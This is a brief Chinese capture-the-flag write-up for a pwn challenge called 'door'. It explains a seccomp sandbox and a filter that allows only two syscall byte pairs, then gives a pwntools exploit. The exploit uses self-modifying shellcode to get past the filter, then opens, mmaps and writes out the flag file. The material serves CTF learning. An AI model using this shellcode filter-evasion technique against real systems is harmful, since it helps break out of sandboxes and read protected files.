理解程序
checksec:

没开PIE IDA64打开:

开启了沙箱,可以使用shellcode

限制shellcode为0xf 0x5的次数只能为2次

对应汇编是syscall 也就是只能执行两次syscall
查看沙箱:

只允许使用写出的系统调用
思路是先open flag文件,然后利用mmap将flag的文件描述符映射到一个可读地址,再用write写出来
但是限制了只能执行两次shellcode,要想办法绕过
可以在读入字节: “\x90\x05”之前,再利用一条汇编改写0x05前面的字节为0xf,这样来分开
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(os='linux', arch='amd64', log_level='debug') p = process('./door')
shellcode = asm(shellcraft.open('flag')) shellcode += asm(shellcraft.mmap(0x20000, 0x1000, 1, 1, 3, 0))
shellcode += asm(''' mov rax, 1 mov rdi, 1 mov rsi, 0x20000 mov rdx, 0x40 mov byte ptr [rip], 0xf
''') + b'\x90\x05' p.sendafter("MADE IN HEAVEN", shellcode) p.interactive()
|